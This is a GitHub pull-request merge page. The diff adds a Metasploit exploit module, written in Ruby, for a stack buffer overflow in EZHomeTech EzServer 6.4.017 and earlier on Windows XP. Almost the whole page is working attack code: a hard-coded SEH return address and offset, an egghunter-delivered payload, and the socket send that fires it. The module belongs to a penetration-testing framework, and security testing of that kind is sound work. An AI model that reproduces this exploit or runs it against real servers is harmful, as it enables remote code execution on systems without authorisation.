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Merge pull request #500 from modpr0be/module-ezserver

added ezserver <=6.4.017 bof for winxp sp3
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2 parents 77022d1 + faa5c0a commit 10bd72f3a111f2110d44cb177301760a5797fbae @jvazquez-r7 jvazquez-r7 committed Jun 18, 2012
Showing with 91 additions and 0 deletions.
  1. +91 −0 modules/exploits/windows/http/ezserver_http.rb
@@ -0,0 +1,91 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Exploit::Remote::Egghunter
+ include Msf::Exploit::Remote::Seh
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
+ 'Description' => %q{
+ This module exploits a stack buffer overflow in the EZHomeTech EZServer.
+ If a malicious user sends packets containing an overly long string,
+ it may be possible to execute a payload remotely.
+ Due to size constraints, this module uses the Egghunter technique.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'modpr0be<modpr0be@spentera.com>', # Original discovery, MSF Module
+ ],
+ 'References' =>
+ [
+ [ 'EDB', '19266' ],
+ [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'ExitFunction' => 'seh',
+ },
+ 'Platform' => 'win',
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
+ 'DisableNops' => true,
+ },
+
+ 'Targets' =>
+ [
+ [ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
+ {
+ 'Ret' => 0x10212779,
+ 'Offset' => 5852
+ }
+ ], # pop ecx # pop ebx # ret 4 - msvcrtd.dll
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Jun 18 2012',
+ 'DefaultTarget' => 0))
+
+ register_options([Opt::RPORT(8000)], self.class)
+
+ end
+
+ def exploit
+ connect
+ eggoptions =
+ {
+ :checksum => true,
+ :eggtag => "w00t"
+ }
+
+ hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
+ egg = hunter[1]
+ buff = rand_text(target['Offset'] - egg.length) #junk
+ buff << egg
+ buff << make_nops(32)
+ buff << generate_seh_record(target.ret)
+ buff << make_nops(16)
+ buff << hunter[0]
+ buff << rand_text_alpha_upper(500)
+
+ print_status("Triggering shellcode now...")
+ print_status("Please be patient, the egghunter may take a while..")
+
+ sock.put(buff)
+
+ handler
+ disconnect
+
+ end
+end

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